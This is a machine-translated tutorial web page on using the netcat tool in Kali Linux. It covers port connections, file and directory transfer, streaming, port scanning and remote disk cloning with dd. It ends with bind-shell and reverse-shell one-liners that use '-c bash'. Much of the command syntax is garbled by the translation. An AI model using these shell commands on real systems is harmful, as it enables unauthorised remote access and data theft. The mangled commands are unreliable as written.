Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use the kali tool NETCAT

2025-04-06 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/02 Report--

The use of kali tool NETCAT, in view of this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and easy way.

1.NETCAT as a commonly used command on the client side

Nc-v verbose [use twice to be more verbose]

Nc-n numeric-only IP addresses, no DNS

The following are all commands for nc:

Nc-vn 123.125.50.29110 (port 110 of the POP3 server)

Nc-nv 202.181.12.12 25 (port 25 of the SMTP server)

2. NCMB-transmits text messages

Server: nc-l-p port number

Client: ip port number of the nc-nv server

Application: remote electronic forensics

Forensics of ls-l

Forensics of ps aux

3.nc file / directory transfer

(1) File transfer

Send files to the server:

Server: nc-ip port number > file name

Client: nc-nv server ip address port number

< 文件名 -q 1 往客户端传文件: 服务器:nc -lp 端口号 < 文件名 -q 1 客户端:nc -nv 服务器ip地址 端口号 >

File name

2) Directory transfer

It also involves two-way, similar to the file transfer mentioned above

Send the file directory to the client:

Server: tar-cvf-directory name / | nc-lp port number-Q 1

Client: nc-nv server ip address port number | tar-xvf-

(3) encrypt and transfer documents

Server: nc-lp port number | mcrypt-- flush-Fbqd-a rijndael-256-m ecb > file name

Client: mcrypt-- flush-Fbq-a rijndael-256-m ecb < file name | nc-nv ip address port number-Q 1

4.nc-streaming service

Server: cat file name.mp4 | nc-lp port number

Client: nc-nv server ip address port number | player (mplayer)-vo x11-cache 3000-

5.ncmuri-Port scan

Nc-nvz ip address port range / / scan TCP port

Nc-nvzu ip address port range / / scan UDP port

The scanning results of each scanner are not very accurate, and several more ways can be used to scan the port to increase the accuracy.

6.ncMurray-remote cloning of hard disk

Server: nc-lp port number | dd of=/dev/sda

Client: dd if=/dev/sda | nc-nv server ip address port number-Q 1

Remote electronic forensics, which can copy the target server's hard disk remotely, or memory

7.ncMurray-remote control

Forward: server: nc-lp port-C bash

Client: nc-nv server ip address port

This allows the server to get a bash from the client

Reverse: server: nc-lp port

Client: nc server ip address port-C bash

This allows the client to get a bash of the server

Nc lacks encryption and authentication capabilities

This is the answer to the question about the use of the kali tool NETCAT. I hope the above content can be of some help to you. If you still have a lot of doubts to be solved, you can follow the industry information channel to learn more about it.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report